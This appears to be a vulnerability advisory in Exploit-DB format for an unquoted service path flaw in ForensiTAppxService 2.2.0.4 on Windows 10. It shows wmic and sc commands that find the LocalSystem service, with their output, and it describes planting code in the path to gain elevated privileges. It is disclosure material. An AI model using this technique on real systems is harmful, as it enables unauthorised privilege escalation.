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0ForensiTAppxService 2.2.0.4 – ‘ForensiTAppxService.exe’ Unquoted Service Path
# Exploit Title: ForensiTAppxService 2.2.0.4 - 'ForensiTAppxService.exe' Unquoted Service Path
# Discovery by: Burhanettin Özgenç
# Discovery Date: 2020-09-15
# Vendor Homepage: https://www.forensit.com/downloads.html
# Tested Version: 2.2.0.4
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64
# Step to discover Unquoted Service Path:
C:>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:Windows\" | findstr /i "ForensiTAppxService" | findstr /i /v """
ForensiT AppX Management Service ForensiTAppxService C:Program Files (x86)ForensiTAppX Management ServiceForensiTAppxService.exe Auto
# Service info:
C:>sc qc ForensiTAppxService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: ForensiTAppxService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:Program Files (x86)ForensiTAppX Management ServiceForensiTAppxService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : ForensiT AppX Management Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
# Exploit:
# A successful attempt would require the local user to be able to insert their code in the system
# root path undetected by the OS or other security applications where it could potentially be executed
# during application startup or reboot. If successful, the local user's code would execute with
# the elevated privileges of the application.
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